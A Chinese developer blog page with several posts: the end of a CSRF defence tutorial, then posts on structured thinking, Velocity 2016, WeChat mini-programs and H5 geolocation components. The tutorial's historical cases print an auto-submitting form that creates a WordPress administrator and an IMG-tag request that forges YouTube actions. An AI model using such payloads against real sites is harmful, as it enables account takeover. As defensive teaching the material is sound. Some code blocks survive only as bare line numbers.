    此方法相对于CSRF Token就简单了许多。可以直接通过前后端拦截的的方法自动化实现。后端校验也更加方便,只需进行请求中字段的对比,而不需要再进行查询和存储Token。


    当然,此方法并没有大规模应用,其在大型网站上的安全性还是没有CSRF Token高,原因我们举例进行说明。

    由于任何跨域都会导致前端无法获取Cookie中的字段(包括子域名之间),于是发生了如下情况:

    * 如果用户访问的网站为```www.a.com```,而后端的api域名为```api.a.com```。那么在```www.a.com```下,前端拿不到```api.a.com```的Cookie,也就无法完成双重Cookie认证。
    * 于是这个认证Cookie必须被种在```a.com```下,这样每个子域都可以访问。
    * 任何一个子域都可以修改```a.com```下的Cookie。
    * 某个子域名存在漏洞被XSS攻击(例如```upload.a.com```)。虽然这个子域下并没有什么值得窃取的信息。但攻击者修改了```a.com```下的Cookie。
    * 攻击者可以直接使用自己配置的Cookie,对XSS中招的用户再向```www.a.com```下,发起CSRF攻击。


    ##### 总结:

    用双重Cookie防御CSRF的优点:

    * 无需使用Session,适用面更广,易于实施。
    * Token储存于客户端中,不会给服务器带来压力。
    * 相对于Token,实施成本更低,可以在前后端统一拦截校验,而不需要一个个接口和页面添加。

    缺点:

    * Cookie中增加了额外的字段。
    * 如果有其他漏洞(例如XSS),攻击者可以注入Cookie,那么该防御方式失效。
    * 难以做到子域名的隔离。
    * 为了确保Cookie传输安全,采用这种防御方式的最好确保用整站HTTPS的方式,如果还没切HTTPS的使用这种方式也会有风险。

    #### Samesite Cookie属性

    防止CSRF攻击的办法已经有上面的预防措施。为了从源头上解决这个问题,Google起草了一份草案来改进HTTP协议,那就是为Set-Cookie响应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie,Samesite 有两个属性值,分别是 Strict 和 Lax,下面分别讲解:

    ##### Samesite=Strict

    这种称为严格模式,表明这个 Cookie 在任何情况下都不可能作为第三方 Cookie,绝无例外。比如说 b.com 设置了如下 Cookie:
    ```html
    Set-Cookie: foo=1; Samesite=Strict
    Set-Cookie: bar=2; Samesite=Lax
    Set-Cookie: baz=3

我们在 a.com 下发起对 b.com 的任意请求,foo 这个 Cookie 都不会被包含在 Cookie 请求头中,但 bar 会。举个实际的例子就是,假如淘宝网站用来识别用户登录与否的 Cookie 被设置成了 Samesite=Strict,那么用户从百度搜索页面甚至天猫页面的链接点击进入淘宝后,淘宝都不会是登录状态,因为淘宝的服务器不会接受到那个 Cookie,其它网站发起的对淘宝的任意请求都不会带上那个 Cookie。

Samesite=Lax

这种称为宽松模式,比 Strict 放宽了点限制:假如这个请求是这种请求(改变了当前页面或者打开了新页面)且同时是个GET请求,则这个Cookie可以作为第三方Cookie。比如说 b.com设置了如下Cookie:

1
2
3
Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3

当用户从 a.com 点击链接进入 b.com 时,foo 这个 Cookie 不会被包含在 Cookie 请求头中,但 bar 和 baz 会,也就是说用户在不同网站之间通过链接跳转是不受影响了。但假如这个请求是从 a.com 发起的对 b.com 的异步请求,或者页面跳转是通过表单的 post 提交触发的,则bar也不会发送。

生成Token放到Cookie中并且设置Cookie的Samesite,Java代码如下:

1
2
3
4
5
6
7
8
9
private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
//生成token
String sToken = this.generateToken();
//手动添加Cookie实现支持“Samesite=strict”
//Cookie添加双重验证
String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict", this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI());
httpResponse.addHeader("Set-Cookie", CookieSpec);
httpResponse.setHeader(CSRF_TOKEN_NAME, token);
}

代码源自OWASP Cross-Site_Request_Forgery #Implementation example

我们应该如何使用SamesiteCookie

如果SamesiteCookie被设置为Strict,浏览器在任何跨域请求中都不会携带Cookie,新标签重新打开也不携带,所以说CSRF攻击基本没有机会。

但是跳转子域名或者是新标签重新打开刚登陆的网站,之前的Cookie都不会存在。尤其是有登录的网站,那么我们新打开一个标签进入,或者跳转到子域名的网站,都需要重新登录。对于用户来讲,可能体验不会很好。

如果SamesiteCookie被设置为Lax,那么其他网站通过页面跳转过来的时候可以使用Cookie,可以保障外域连接打开页面时用户的登录状态。但相应的,其安全性也比较低。

另外一个问题是Samesite的兼容性不是很好,现阶段除了从新版Chrome和Firefox支持以外,Safari以及iOS Safari都还不支持,现阶段看来暂时还不能普及。

而且,SamesiteCookie目前有一个致命的缺陷:不支持子域。例如,种在topic.a.com下的Cookie,并不能使用a.com下种植的SamesiteCookie。这就导致了当我们网站有多个子域名时,不能使用SamesiteCookie在主域名存储用户登录信息。每个子域名都需要用户重新登录一次。

总之,SamesiteCookie是一个可能替代同源验证的方案,但目前还并不成熟,其应用场景有待观望。

防止网站被利用

前面所说的,都是被攻击的网站如何做好防护。而非防止攻击的发生,CSRF的攻击可以来自:

  • 攻击者自己的网站。
  • 有文件上传漏洞的网站。
  • 第三方论坛等用户内容。
  • 被攻击网站自己的评论功能等。

对于来自黑客自己的网站,我们无法防护。但对其他情况,那么如何防止自己的网站被利用成为攻击的源头呢?

  • 严格管理所有的上传接口,防止任何预期之外的上传内容(例如HTML)。
  • 添加Header
    nosniff``` 防止黑客上传HTML内容的资源(例如图片)被解析为网页。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    * 对于用户上传的图片,进行转存或者校验。不要直接使用用户填写的图片链接。
    * 当前用户打开其他用户填写的链接时,需告知风险(这也是很多论坛不允许直接在内容中发布外域链接的原因之一,不仅仅是为了用户留存,也有安全考虑)。

    ### CSRF其他防范措施

    对于一线的程序员同学,我们可以通过各种防护策略来防御CSRF,对于QA、SRE、安全负责人等同学,我们可以做哪些事情来提升安全性呢?

    #### CSRF测试

    CSRFTester是一款CSRF漏洞的测试工具,CSRFTester工具的测试原理大概是这样的,使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过在CSRFTester中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
    CSRFTester使用方法大致分下面几个步骤:

    * 步骤1:设置浏览器代理

    CSRFTester默认使用Localhost上的端口8008作为其代理,如果代理配置成功,CSRFTester将为您的浏览器生成的所有后续HTTP请求生成调试消息。

    * 步骤2:使用合法账户访问网站开始测试

    我们需要找到一个我们想要为CSRF测试的特定业务Web页面。找到此页面后,选择CSRFTester中的“开始录制”按钮并执行业务功能;完成后,点击CSRFTester中的“停止录制”按钮;正常情况下,该软件会全部遍历一遍当前页面的所有请求。

    * 步骤3:通过CSRF修改并伪造请求

    之后,我们会发现软件上有一系列跑出来的记录请求,这些都是我们的浏览器在执行业务功能时生成的所有GET或者POST请求。通过选择列表中的某一行,我们现在可以修改用于执行业务功能的参数,可以通过点击对应的请求修改query和form的参数。当修改完所有我们希望诱导用户form最终的提交值,可以选择开始生成HTML报告。

    * 步骤4:拿到结果如有漏洞进行修复

    首先必须选择“报告类型”。报告类型决定了我们希望受害者浏览器如何提交先前记录的请求。目前有5种可能的报告:表单、iFrame、IMG、XHR和链接。一旦选择了报告类型,我们可以选择在浏览器中启动新生成的报告,最后根据报告的情况进行对应的排查和修复。

    #### CSRF监控

    对于一个比较复杂的网站系统,某些项目、页面、接口漏掉了CSRF防护措施是很可能的。

    一旦发生了CSRF攻击,我们如何及时的发现这些攻击呢?

    CSRF攻击有着比较明显的特征:

    * 跨域请求。
    * GET类型请求Header的MIME类型大概率为图片,而实际返回Header的MIME类型为Text、JSON、HTML。

    我们可以在网站的代理层监控所有的接口请求,如果请求符合上面的特征,就可以认为请求有CSRF攻击嫌疑。我们可以提醒对应的页面和项目负责人,检查或者 Review其CSRF防护策略。


    ### 个人用户CSRF安全的建议

    经常上网的个人用户,可以采用以下方法来保护自己:

    * 使用网页版邮件的浏览邮件或者新闻也会带来额外的风险,因为查看邮件或者新闻消息有可能导致恶意代码的攻击。
    * 尽量不要打开可疑的链接,一定要打开时,使用不常用的浏览器。


    ### 总结

    简单总结一下上文的防护策略:

    * CSRF自动防御策略:同源检测(Origin 和 Referer 验证)。

    * CSRF主动防御措施:Token验证 或者 双重Cookie验证 以及配合Samesite Cookie。

    * 保证页面的幂等性,后端接口不要在GET页面中做用户操作。

    为了更好的防御CSRF,最佳实践应该是结合上面总结的防御措施方式中的优缺点来综合考虑,结合当前Web应用程序自身的情况做合适的选择,才能更好的预防CSRF的发生。

    ### 历史案例

    #### WordPress的CSRF漏洞

    2012年3月份,WordPress发现了一个CSRF漏洞,影响了WordPress 3.3.1版本,WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下:

    * Add Admin/User
    * Delete Admin/User
    * Approve comment
    * Unapprove comment
    * Delete comment
    * Change background image
    * Insert custom header image
    * Change site title
    * Change administrator's email
    * Change Wordpress Address
    * Change Site Address


    那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,添加某个具有管理员权限的用户,实现的码如下:

    ```html
    <html>
    <body onload="javascript:document.forms[0].submit()">
    <H2>CSRF Exploit to add Administrator</H2>
    <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php">
    <input type="hidden" name="action" value="createuser"/>
    <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/>
    <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/>
    <input type="hidden" name="user_login" value="admin2"/>
    <input type="hidden" name="email" value="admin2@admin.com"/>
    <input type="hidden" name="first_name" value="admin2@admin.com"/>
    <input type="hidden" name="last_name" value=""/>
    <input type="hidden" name="url" value=""/>
    <input type="hidden" name="pass1" value="password"/>
    <input type="hidden" name="pass2" value="password"/>
    <input type="hidden" name="role" value="administrator"/>
    <input type="hidden" name="createuser" value="Add+New+User+"/>
    </form>
    </body>
    </html>

YouTube的CSRF漏洞

2008年,有安全研究人员发现,YouTube上几乎所有用户可以操作的动作都存在CSRF漏洞。如果攻击者已经将视频添加到用户的“Favorites”,那么他就能将他自己添加到用户的“Friend”或者“Family”列表,以用户的身份发送任意的消息,将视频标记为不宜的,自动通过用户的联系人来共享一个视频。例如,要把视频添加到用户的“Favorites”,攻击者只需在任何站点上嵌入如下所示的IMG标签:

1
2
<img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_
id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>

攻击者也许已经利用了该漏洞来提高视频的流行度。例如,将一个视频添加到足够多用户的“Favorites”,YouTube就会把该视频作为“Top Favorites”来显示。除提高一个视频的流行度之外,攻击者还可以导致用户在毫不知情的情况下将一个视频标记为“不宜的”,从而导致YouTube删除该视频。

这些攻击还可能已被用于侵犯用户隐私。YouTube允许用户只让朋友或亲属观看某些视频。这些攻击会导致攻击者将其添加为一个用户的“Friend”或“Family”列表,这样他们就能够访问所有原本只限于好友和亲属表中的用户观看的私人的视频。

攻击者还可以通过用户的所有联系人名单(“Friends”、“Family”等等)来共享一个视频,“共享”就意味着发送一个视频的链接给他们,当然还可以选择附加消息。这条消息中的链接已经并不是真正意义上的视频链接,而是一个具有攻击性的网站链接,用户很有可能会点击这个链接,这便使得该种攻击能够进行病毒式的传播。

参考文献

下期预告

前端安全系列文章将对XSS、CSRF、网络劫持、Hybrid安全等安全议题展开论述。下期我们要讨论的是网络劫持,敬请期待。

结构化思维

结构化思维是什么

结构化思维有的时候又可以称为金字塔原理,在一些国际顶级咨询公司他们多年积累的一套方法论称为金字塔原理,在一些公职人员考试面试中称为结构化思维,其实他们想表达的思维模式总得来说都是同一个概念,主要是为了培养人形成一定的思维思考的模式,通过对问题的正确界定,在对相关因素合理分类整理,对重点进行分析,形成一套思考问题的树状结构,由于像金字塔,所以称为金字塔原理,这样比喻也更形象,更容易让人理解。

结构化思维的作用

结构化思维本身其实就是逻辑思维,它是将零散的思维,知识,灵感,想法,信息,数据等通过一种思维的框架收拢起来,让复杂的事情简化,并获得一种分析的方法,甚至是量化的工具,使我们能够透过事物表层看到本质。要形成良好的结构化思维还需要长期的训练,不断的训练就可以提高我们系统分析问题以及解决问题的能力,使我们的思维及表达更加缜密,有条理。结构化思维适用于各个地方,不论是技术难题,还是开会演讲,以及汇报工作,又或是总结规划,都有用武之地,是人们更深层的思维逻辑的演化,因此对于工作中的人们是比较有帮助的。下面来看两个简单的的例子,形象的说明结构化思维能带给我们的帮助。

举个例子

这样的例子,在日常生活中也经常发生..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
小明今天周末在家待着,觉着天气炎热想出门买点饮料,小红是小明的妻子,下面于是有了这样的对话:

> 小明:我这回要出去买点喝的,还需要顺便带点啥嘛?
> 小红:哦,对了,家里牛奶和鸡蛋没了,你待会出去别忘了带回来。

小明于是去换衣服,期间~

> 小红: 我好久没吃葡萄了哦,对了待会午饭炒菜需要点大葱,家里的貌似也没有了。

小明换好了衣服,正在出门穿鞋,小红又说话了~

> 小红:孩子想吃苹果了,一会别忘了再买点苹果,对了还有酸奶,孩子也要喝!

小明刚出门,发现手机忘带了,没带手机怎么支付呀,于是重新返回家拿手机,拿了手机刚要出门,小红的声音再次响起~

> 小红:一会别忘了再买点西红柿!中午饭给你们做一个西红柿炒鸡蛋!
> 小明:你咋这么啰嗦呢!!为啥之前不一次给我说完呢!
> 小红:对了再买点咸鸭蛋哈~
> 小明:好!好!好!

小明气冲冲的出了家门..

从上面的对话中来看,小红一共让小明带的东西,按照对话顺序来看有这些(共8个):

牛奶🐂,鸡蛋🐔,葡萄🍇,大葱,苹果🍎,酸奶,西红柿🍅,咸鸭蛋

根据一些研究数据表明,人最多同时可以记住7个事情,超出7个一般都会忘记一些,当只有一个东西的话,是最不容易忘记的,当数量为三个的时候是比较推荐的(当然个别人可能记忆力超强也能同时记住更多的事情的除外),但只是上面这8个东西,去了超市,如果小明不用手机备忘记住的话,只是依靠头脑记的话,很有可能在逛超市的时候很把其中的某几个样忘记。

对了别忘了!除了上面这8个,他还要买他自己最想喝的饮料!

人类大脑在处理信息的时候,有两个规律:第一,不能一次太多,太多信息会让我们的大脑觉得负荷过大;第二,喜欢有规律的信息。

那么如果按照顺序来记忆这些东西比较容易遗忘,那么是否我们需要换一种思路,利用结构化的思维来看看,看怎么样构建金字塔:
购买商品金字塔

那么我们会很容易的发现,当你在头脑中构建出这样的金字塔结构后,小红交代需要买的东西,很容易的就记下来了,那么拆分下来的子项如何更好的记忆呢,可以找出一些逻辑关联方便记忆,例如:牛奶&酸奶、鸡蛋&咸鸭蛋,小红想吃葡萄,孩子想吃苹果,西红柿炒鸡蛋,炒菜需要葱花..等

通过上面这个🌰,可以得出我所想表达的观点:

人类的大脑更倾向于去理解和明白具有结构化的事物或者问题,不是我们故意构造出结构化的思维的方法论为了让人类去学习或者提高记忆。

工作中我们会遇到各种各样的问题,而在日常沟通中如果让你描述一个问题,没有很清晰的结构化的思路来表达你所想表达的问题的时候,经常会让对方造成不同意思的解读,假如还是通过通讯工具来沟通并非面对面聊天的话,甚至还会容易引发误会和冲突。

接下来那么我们下来找一个技术相关的例子,看如何进行结构化的拆分。

技术的例子

计算机网络里面HTTP相关知识比较重要的一章节,这部分也是知识点比较零散,东西较多的一块,那么我们看针对HTTP如何进行知识体系的结构化拆分:

Http结构化思维图

由于空间的有限,虽然不是标准的金字塔结构,但是也能基本勾勒出HTTP整个知识体系的结构,对于想深入学习HTTP相关知识的同学还是比较有帮助的,查缺补漏看看哪部分是你的知识体系中需要加强深入学习的。

结构化思维的训练

如果你只是知道结构化思维这样的名词是远远不够的,要将它变成自己的思维方式,能够做到不加思考地习惯性应用,还需要刻意的去练习。如果现在你已经形成了对结构化思维的认识,那么在未来的工作中就应该尽量按照这样思维方式来思考,如果能从现在开始努力坚持三个月的思考,那么结构化的思维能力肯定就会有所提升,如果能坚持半年,那么基本就已经变成你自己的习惯了。当然如果有同伴也一直能这样在练习,对你也会有一定的影响和帮助。那么在工作中遇到哪些问题的时候,都可以采用这样的思维方式来思考呢?

  • 写代码时

  • 跨团队沟通问题时

  • 写总结计划文档时

  • 汇报工作开会时

  • 技术分享时

  • 职级晋升答辩时

如果在这些时候你能坚持使用结构化思维去思考问题,那么通过一段时间坚持不断的训练,你将会对这些事情更加游刃有余。那么在结构化拆分的时候应该遵循什么原则呢?很久之前一个著名的咨询顾问提出的MECE的分析法则,作为金字塔原理的重要指导原则。什么是MECE分析法则呢?

MECE分析法则

MECE,英文是Mutually Exclusive Collectively Exhaustive的缩写,中文意思是“相互独立,完全穷尽”。 也就是对于一个需要解决的问题,能够做到不重叠、不遗漏的分类,而且能够有效把握问题的核心,并解决问题的方法。MECE即把一个项目分解为若干个更细的工作任务的方法,它主要有两条原则:

  • 一是独立性,强调了每项之间要独立,每项之间不要有交叉重叠

  • 二是完整性,说的是分解的过程中不要漏掉某项,要保证完整性

除了坚持这两条原则外,当遇到不是很好拆分的问题,可以尝试否定法和抽象法或者画鱼骨图的方式来进行推动拆分,例如:

1
2
3
4
5
6
7
8
9
# 否定法 #

问:老罗的锤子🔨手机📱卖的是什么呢?
答:老罗的🔨不仅是卖的手机📱,还卖的是老罗的“情怀”..

# 抽象法 #

问:那么锤子🔨手机📱有什么功能呢?
答:🔨📱除了正常智能手机📱都具备的功能以外,它自身还有很多特色功能,例如:Big Bang、One Step等新功能.

在使用MECE法则的时候应该还要注意一下几点:

  • 要做到全方位、多角度地考虑问题

  • 尽可能多的收集材料和事实依据

  • 利用已有的数据图表来分析问题

只要能在坚持这两条原则以及注意这几点的情况下,采用MECE分析法不断训练结构化的思维方式才能不断的提升这方面的思维能力。

写在最后

结构化思维(金字塔原理)是逻辑思维的方法论,是把复杂问题变得可以量化的工具,也是国际上的顶级的咨询公司一直推崇的方法,他们旨在帮助各种企业解决复杂的商业问题,给出建设性的建议。同样对工作中的人们也会有帮助,帮助他们更好的去演讲,汇报,在职场中得到提升。最后留一道题目给大家思考🤔:

北京市有多少只鸟?

据说是之前一个咨询公司曾经出过的题目,值得一提的是这道题目的结果并不是面试官最关心的,而他们更希望看到的是你的思维过程,可能思维过程远比最后得出的结果要重要。

完..

参加Velocity-2016感受和收获

Velocity会议是干什么的?

自2008年以来Velocity会议持续不断汇集了不同行业背景的人才,他们在Web性能、运维、开发运维方面做出了令人惊奇的工作,通过不断的分享,给其他的企业和开发者带来福音,刚开始的前几届都是在国外举办,Velocity能走进中国,离不开阿里巴巴做出的努力,阿里的同学第一次国外参加Velocity之后,收益良多,于是通过一些资金上的赞助和支持,把Velocity引入了中国,并且中国的大会也不断的有很多优秀的中国互联网公司的同学去当讲师,分享他们在工作中做出优秀的技术贡献和解决方案。

Velocity

参加Velocity-2016的感受

第一次参加Velocity,其实还是收获挺多的,两天不间断的分享,分享后的头脑风暴,不断的让我去思考自己在工作中对技术层面的认知,真切的让我们感受到这几年中国互联网公司的崛起,以BAT为代表的大公司不断的引进国外的先进技术,结合公司自己业务的实际情况,进行改造在创新,比如阿里巴巴的Weex,手机百度在RN上的实践等,基本上已经不再只是拿来主义,都会根据自己的业务使用当中遇到的问题进行优化再创新,尤其是阿里的Weex,双11天猫App从主会场到各个分会场3000+的活动,全部已经是拿Weex实现了,在开发原生App和H5&Webview内嵌之间寻找最优性能体验和开发效率的平衡点,其实对于这样运营活动是在合适不过的解决方案了。

2016Velocity大会大致有国人场和老外场两种,其实最后听下来还是国人的分享比较实在,相对分享的干货比较多,也能感觉到国内互联网公司很多的进步,反倒是一些老外的分享,以及一些国内的外企同学的分享,滥竽充数,到了提问环节不断被下面的同学进行质疑,问到打脸。😆

总体来说我听的基本都是前端领域的分享,从技术角度讲,但大致分为两大类:

  • 第一类是某种技术框架在实际业务中的运用结合着性能优化;
  • 第二类是服务质量图表数据上报的重新思考.

第一类就是我刚才提到的阿里Weex结合双11的性能优化,手百的RN性能优化,QQ空间H5Webview的性能优化,构建下一代移动网页应用(PWA),百度搜索MIP容器(搜索全链路性能体验优化)等,第二类是重新思考服务质量,性能魔方的应用性能数据可视化等。仔细想来,其实这两类事情是相辅相成互相结合的,只有第二种数据上报监控做好了,才能结合详细的数据图表做更针对的性能优化,一些具体的技术细节我就不再这里单独详细写了,后续可能会做个分享在大组内进行分享,如果哪位同学想看之后我分享的幻灯片,可以私聊我。

总结

总得来说Velocity2016还是挺不错的,两天听下来,干货挺多真的很累,比上班还累,一天听8~9个分享,一直都在集中精力听不断的去消化思考和反思,可能这样的过程就是一种进步吧😀

完…

关于微信小程序的思考

引言

好久不写文章了,手都有点生了😄,距离上一篇文章时隔一个月多了,原因有两个:一.八月份的确业务多,实在太忙;二.九月份又忙着职级答辩,毕竟答辩还是比博客重要的嘛,哈哈哈😁。9月底微信出了一个新的功能:微信小程序,引爆各大互联网媒体渠道,分析的文章一篇接一篇,大多数人都是觉得,哇塞这是颠覆性的东西呀,有了APP的功能而且用JS就能开发了,再加上微信的流量,简直是各种骗点击啊,周围的人各种在分享,唱衰的几乎没有,冷静能独立来思考的不多,推荐一个微信公众号:“独立思考”,里面那位同学写的关于小程序的思考, 还是比较客观公正的,在这个基础上,我自己也站在产品技术层面进行了深入的思考,公司其他部门,尤其是猫眼电影,大老板From腾讯,我们还是得到了不少关于小程序的信息,总体来说和我分析一些还是相互印证,下面就来讲讲我自己在微信小程序上的看法和认识😂,在这里献丑了…

对于微信的思考

下面我用总结的四句话来概括一下:

  • 我们和微信斗争多年
  • 常年在博弈中度日
  • 人们经常想从微信中收益

一切的最终解释权归微信…

自从微信用户量破了几亿之后,越来越多的人都想从微信这个渠道获取新的用户,新的流量,想尽一切办法和手段去牟利,而微信一直想保持自己“纯洁”的净土,这些年也是不断的和推广者之间进行博弈,举几个我自身遇到的🌰,之前在猫眼做分享电影红包,渠道就是通过微信来传播,刚上线,各种转发,没过多久,超过微信的分享转发的阈值,URL无法访问,后续微信还出过更绝的办法,你分享成功后,你自己可以看见,其他好友看不见,有一段时间滴滴专车券也被弄了,大客户该跪也得跪😂,最开始人们还以为是分组可见呢,呵呵呵🙄,微信这么任性,我也真是醉了..

于是:

  • 微信公众号刷阅读量封号❌
  • 分享数量过大❌
  • 诱导分享❌
  • 内容违法❌

    微信内嵌H5用户体验差推出了小程序

那么疑问就来了:

  • 我们照搬外卖APP的功能赶第一波红利,微信审核通不过怎么办?
  • 那么我们真的要把全部APP的功能搬上去吗?

如果想不清楚这些问题,不妨站在微信的产品设计思路去想想,微信的产品设计原则,大概可以从下面四点来概括:

  • 极简
  • 极致体验
  • 安全
  • 严格审核

微信功能很多,但是仍然很简单易用,并且体验好,很少出现安全隐患,内容审核严格。

目标:只有站在微信产品的角度去思考设计我们的产品,才能获得微信的青睐。

对于产品层面的思考

据传言说微信APP会在游戏的下方开一个入口,那于是我们可以参考当时游戏的情况,曾经🔥到不行的打✈️游戏,如今还有谁在玩,现在看一下游戏首页的游戏,经典的开心消消乐,并且以前是独立APP有群众基础的保卫萝卜,一句话概括可以说明:

“红利过后,片甲不留..”

那么于是反思我们的目标:

外卖的目标:为用户持续提供高品质且稳定的外卖配送服务。
外卖小程序的目标:我们需要通过不断的思考优化做出一个微信都能认可的精品。

反思出我们的目标之后,是否就应该想想,我们通过微信会带来一些用户,其中一部分是重叠用户,还有一部分待挖掘用户,那么这部分待挖掘的用户,如何在微信里面释放他们的潜力,让他们转化成我们忠实的用户,这也是值得思考的一个问题。微信的小程序可以算的上一个平台,一个独立于原生APP,独立于H5的一个平台,那么这样一个新平台和老平台之前从用户体验、获取新客成本、用户留存、开发速度这四个方面应该是怎么样的呢?看下下面的表格,这是我根据经验得出的大致判断:

手机APP 微信小程序 移动H5站
用户体验 最好 较差
新客成本 最高 最低
用户留存 最高 较低? 较差
开发速度 较慢

待定的技术层面

待完善…

几个前端H5定位组件的对比

HTML5 定位

HTML5的标准也出来很久了,定位已经不是什么新鲜的技术了。之所以写这个文章,主要是想将你直接调原生H5的方式和腾讯、高德定位组件进行一个对比,对比一下各自的优缺点,给广大使用者一个简单的参考,让你在在项目开发中更容易选择到合适自己的组件。😄

现状

如果想使用H5定位有三种可以选择:

  • 原生H5 API Geolocation
    原生的方式只要在支持的浏览器里面基本上能拿到经纬度,但是如果想拿到地理位置街道信息,就得配合自己公司提供的地理逆解析服务,我团也有这样的服务,其实就是个接口,经纬度传过去,返回对应的地理位置信息,但是总体来说逆解析的接到信息不够精确,偏差会有一些,第一次进来一般都会有一个弹窗,让你选择是否允许使用地理位置信息。

  • 腾讯H5定位组件
    腾讯的定位可以移步这里,腾讯地图开放平台,里面讲解了如何接入的方式,需要申请一个key和referer,如果key的调用量比较大,需要单独给腾讯地图团队发送邮件申请扩容,通过iframe的放入插入到页面中,更像一个黑盒,不需要了解里面太多的实现方式,也不需要写太多JS就能直接拿到一个返回对象,里面包括了经纬度,地址,城市,行政区id等,而且腾讯的定位和地图组件等针对手Q和微信做了针对性的优化,明显定位速度和精准度要比原生和高德好很多,demo地址可以移步这里,腾讯定位demo异步引入腾讯定位demo,一定要在手机上看,PC上腾讯定位是不成功的。

  • 高德定位组件
    高德定位组件的官方接入文档,可以移步这里高德开放平台,至于接入教程,我这里不想过多的讲解,而且网上一搜一大把,或者你按照官方文档做,就很容易实现了,主要想说一下高德的和腾讯的实现方式的区别,腾讯的一次返回经纬度街道信息,高德是先拿到经纬度,然后又在单独拿JS去调用他们的地理逆解析服务,分两步走,但是高德的JS包整体体积较大,开发者写代码较多,高德的选点组件也是如此,总体给人臃肿性能差的特点,但是PC上高德的要比腾讯的优势明显,腾讯的在PC上基本跪了100%拿不到定位信息。

经纬度坐标类型

摘自腾讯地图选点组件的官方文档
coordtype有下面这几种,腾讯地图接入默认等于5:

  1. GPS坐标
  2. sogou经纬度
  3. baidu经纬度
  4. mapbar经纬度
  5. [默认]腾讯、google、高德坐标
  6. sogou墨卡托

这里要提这件事情的原因是,如果你之前接的baidu,sougou地图的话,已经有些地址信息以经纬度存到数据库,从其他地图迁移高德或者腾讯地图的话,他们的坐标会有一个换算关系,所以选择接入的时候要考虑好,建议最好选择第五种腾讯、谷歌、高德这一类的。

对比

名称 PC端 移动端 速度 地理逆解析 允许弹窗 体积 社交app内嵌优化 学习成本 key&referer
原生定位 × × 经常有 ×
腾讯定位 × √(一次返回) 一天一次 较小(20k) 较小 需要申请
高德定位 略满 √( 二次调用) 偶尔会有 较大(80k) √(偶尔会有失败) 较大 需要申请

总结

优缺点也很容易从上面的表格中对比看出来,所以挑适合自己项目情况的使用吧,我们这边最终还是从高德迁移到的腾讯,主要出发点还是从性能角度考虑的,高德的定位包太大,而且开发者自己还得写不少代码,同样的地图选点组件也是,总的来说不如腾讯的省心,但是之前腾讯的有些bug,比如JS动态插入会有问题,每次定位显示弹窗,后我们这边提了一些反馈给他们后,还是修复的很快的,现在这些问题已经解决了。

不过还有一点是值得注意的,页面里多次调用只会返回最后一次的callback,你也可以针对这里自己处理一下,最后需要注意的还是,一定要记得申请Key容量和配额,否则访问量上来之后会使用不了的,提前要做好估量。

后续如果你在使用腾讯地图的各种组件中发现bug,可以联系微博私信反馈给我. 😄

完…